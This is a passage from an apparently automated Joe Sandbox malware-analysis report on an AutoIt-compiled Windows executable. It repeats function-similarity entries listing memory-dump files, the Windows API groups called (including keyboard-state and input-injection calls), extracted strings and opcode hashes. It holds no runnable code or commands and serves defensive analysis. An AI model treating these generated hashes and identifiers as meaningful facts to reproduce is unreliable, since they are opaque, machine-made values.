                                                                                                                                                                            • Instruction Fuzzy Hash: 1D527F3AB08A4686EB349F25D8946AD2761FF86FC4F504176DB1D83AA8CF3CE590D740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Window$LongMenuText$CharInfoItemNextwsprintf
                                                                                                                                                                            • String ID: %d/%02d/%02d
                                                                                                                                                                            • API String ID: 1218376639-328681919
                                                                                                                                                                            • Opcode ID: 8c1f687f88e9da4140e4452ba941a0bd8309265392956f150e7897e172de2189
                                                                                                                                                                            • Instruction ID: 03fad3aff16533627469a39624772cbf3484b28fb879aa10273d8f7485c3a995
                                                                                                                                                                            • Opcode Fuzzy Hash: 8c1f687f88e9da4140e4452ba941a0bd8309265392956f150e7897e172de2189
                                                                                                                                                                            • Instruction Fuzzy Hash: 8C12DE36A0964686FB709F25D854ABE23A0EF86BD4F4041B5DE5E87BD8DF3CE4428740
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
                                                                                                                                                                            • String ID: P
                                                                                                                                                                            • API String ID: 1208186926-3110715001
                                                                                                                                                                            • Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
                                                                                                                                                                            • Instruction ID: e13fbeef4da6902aca2f013b9faa97ef9d0ba40ec08185a2fc84e72e2dcd40fb
                                                                                                                                                                            • Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
                                                                                                                                                                            • Instruction Fuzzy Hash: 59120076A0864686E7348F25D454BBD27A0FF86BD4F0045B5DA5E87B98CF7CE480DB80
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
                                                                                                                                                                            • String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
                                                                                                                                                                            • API String ID: 2910397461-2439800395
                                                                                                                                                                            • Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                                                                                                                                            • Instruction ID: 02796abe5fb3a04a9a77aea0c84bf4b57cd85d97b0777f910d44e57388bce743
                                                                                                                                                                            • Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
                                                                                                                                                                            • Instruction Fuzzy Hash: BFE16E7AA086818BE764DF25E84066A7BA1FB89BD4F504135DB4E83B68CF7CE455CB00
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                                                                                                                            • String ID: Shell_TrayWnd
                                                                                                                                                                            • API String ID: 3778422247-2988720461
                                                                                                                                                                            • Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
                                                                                                                                                                            • Instruction ID: 4204aeec9d52017cba99423edf559057d94cda20379174110bc5bbcae61bcd9a
                                                                                                                                                                            • Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
                                                                                                                                                                            • Instruction Fuzzy Hash: E7417339B0861283F7346F26A81873A22D1FF8AFD1F555075D90AC7B58DE3DA84A9310
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3372153169-0
                                                                                                                                                                            • Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                                                                                                                                            • Instruction ID: 16877db550bad3dd46fdc567815edaacb9d221051624fe138b55e0b699fda728
                                                                                                                                                                            • Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
                                                                                                                                                                            • Instruction Fuzzy Hash: 13229C32A09A8786EB749F25D4543BD27A2FF86BD4F5441B2CA5E87698DE3CE481D300
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: memcpy_s$_invalid_parameter_noinfo
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2880407647-0
                                                                                                                                                                            • Opcode ID: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                                                                                                                                            • Instruction ID: 4bd15507478c5d04d00e799e74cebdc107db11897aa322f7de9b6eff8becff94
                                                                                                                                                                            • Opcode Fuzzy Hash: 58aa0ebf662a58accb0a9b8196807729812b5725d699f5f78ac16d2d228f8c2a
                                                                                                                                                                            • Instruction Fuzzy Hash: 5A039272A081C28BDB758F299540BF937A5FB957CCF401175DB09ABF99DF38AA048B40
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 1015379403-0
                                                                                                                                                                            • Opcode ID: c223660f41613faab48e644fda56d4534d60a7471830602c41769a8e954ea874
                                                                                                                                                                            • Instruction ID: 166254a0191d351b6daab94dd04c33fb0aecec17ce2e5e47b175f6672aee09dd
                                                                                                                                                                            • Opcode Fuzzy Hash: c223660f41613faab48e644fda56d4534d60a7471830602c41769a8e954ea874
                                                                                                                                                                            • Instruction Fuzzy Hash: D702AF32A0868A85EB709F25D8446BD27A1FF86BD4F4442B1DA5E87BDCCF3CE5458780
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Cursor$Load$ErrorInfoLast
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3215588206-0
                                                                                                                                                                            • Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
                                                                                                                                                                            • Instruction ID: 91f882227db561cbebd801bedf560f7692e2b98aab739f84fa5b02dcbabed1f3
                                                                                                                                                                            • Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
                                                                                                                                                                            • Instruction Fuzzy Hash: 40515036B0CB028AEB549F64F4582BD33A1EF4AB85F154479DA0EC3788DE7CE4568344
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
                                                                                                                                                                            • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                                                                                                                                                            • API String ID: 281475176-2761157908
                                                                                                                                                                            • Opcode ID: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                                                                                                                                            • Instruction ID: 38e53258e7d286860cb911fd8bf54b929c0567361308dab95f3d235598b14ce2
                                                                                                                                                                            • Opcode Fuzzy Hash: fcfcd3c85d5de11fcd116e00f6466421f1c918d309ac340d1a492b096d736d29
                                                                                                                                                                            • Instruction Fuzzy Hash: 25B2B172A082838BE7758F69D440AFD37A5FB863CCF545175DA1A97B89DF38E5048B00
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID: P
                                                                                                                                                                            • API String ID: 0-3110715001
                                                                                                                                                                            • Opcode ID: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
                                                                                                                                                                            • Instruction ID: d057f6001ef9851e5f3bc8f47cd23d141201669d8b47174e14af10f4261ddd14
                                                                                                                                                                            • Opcode Fuzzy Hash: 89df1471032732431b81a05b11aefcbbc91b985f9c802d2c82d041fa720837f2
                                                                                                                                                                            • Instruction Fuzzy Hash: D1A1A272A0864286F734DF25D4442A9B7A1FF86BC8F5481B5EA5E83A98CF7CE545C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: _get_daylight$ByteCharMultiWide_invalid_parameter_noinfo$InformationTimeZone
                                                                                                                                                                            • String ID: -$:$:$?
                                                                                                                                                                            • API String ID: 3440502458-92861585
                                                                                                                                                                            • Opcode ID: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
                                                                                                                                                                            • Instruction ID: 3865bf21d1dc23b2053edbac72fb2f469f43f33d9824087ecb13909bbd653940
                                                                                                                                                                            • Opcode Fuzzy Hash: 2484a17d68417765dfea95e8ed30be907b8393143ee9075556b7ff4147a9153c
                                                                                                                                                                            • Instruction Fuzzy Hash: D5E1C032A086878AE7349F3598516FE27A1FF867D4F445175EA4EC2A99DF3CE8428700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Time$File$FindLocalSystem$CloseFirst
                                                                                                                                                                            • String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
                                                                                                                                                                            • API String ID: 3232708057-3289030164
                                                                                                                                                                            • Opcode ID: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                                                                                                                                            • Instruction ID: 0af469e87d9b482236f911fd9c584126acfdb3032b2a3c8511ece3dcb12a58ab
                                                                                                                                                                            • Opcode Fuzzy Hash: 5c779f221d7aeb540d444412295e12a250afa50e4e6d56f81e5e2491da9cccd3
                                                                                                                                                                            • Instruction Fuzzy Hash: DAD1B332B18A5695EB20EF65E4411FE6761FB81BD4F804172EA4D87AAEDF7CD208C700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 1409584000-438819550
                                                                                                                                                                            • Opcode ID: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
                                                                                                                                                                            • Instruction ID: 194fc702e9487f0de8900fbd8b9ff5a831b4adda08343150d5d2a424690946bb
                                                                                                                                                                            • Opcode Fuzzy Hash: 8f313655dcbdbe42a35da08493f07892190d387efc47daab254f64e3a089ff94
                                                                                                                                                                            • Instruction Fuzzy Hash: 6A417035A0864294EF20AF19E8542B963A1FF46BE5F8481B1DD6E876DCDF3CD40AD700
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: SendString
                                                                                                                                                                            • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                                                                                                                            • API String ID: 890592661-1007645807
                                                                                                                                                                            • Opcode ID: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                                                                                                                                            • Instruction ID: 88b0e64e01218b617c1fc2b1c7622089ebf1c54d9bc80331d2a2d7a7ac8037ca
                                                                                                                                                                            • Opcode Fuzzy Hash: 6e164f36fc51d55b22e1026945b1aa4b641673a9c64d89865777c7d9524d423d
                                                                                                                                                                            • Instruction Fuzzy Hash: BD214136B1895391F730DF24E89566A6731FF95B88F8040B1D98D8395DDE2CE505C740
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: State$Async$Keyboard
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 541375521-0
                                                                                                                                                                            • Opcode ID: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
                                                                                                                                                                            • Instruction ID: dcf7b9225903e887d6a691f30bca3a9b6d8d3ecf052879eb5fa30e339ac96b18
                                                                                                                                                                            • Opcode Fuzzy Hash: 3846c89bd659206fb3b2d3285dc51d557998776e104b8ac6e0153ffc668b7184
                                                                                                                                                                            • Instruction Fuzzy Hash: 9571D637A0C2C185FB348F3490802BA2B61EF47BC4F5900B9DA8D8369ACE6DF945C765
                                                                                                                                                                            APIs
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
                                                                                                                                                                            • String ID: *.*
                                                                                                                                                                            • API String ID: 2640511053-438819550
                                                                                                                                                                            • Opcode ID: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
                                                                                                                                                                            • Instruction ID: 788ccd25aef202d018780e8fd245ad307188c5a33d01574cfbc4f1bd3ac8e6e5
                                                                                                                                                                            • Opcode Fuzzy Hash: d607f8cd377dc7cb12783564cfab50aac2a1e28959c9b0777418728c286e0dff
                                                                                                                                                                            • Instruction Fuzzy Hash: 1B418035A0864294EE20AF19A8456756390FF46BE5F9481B1DD6EC769CDF3CD40AC700
                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true
                                                                                                                                                                            • Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
                                                                                                                                                                            • Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
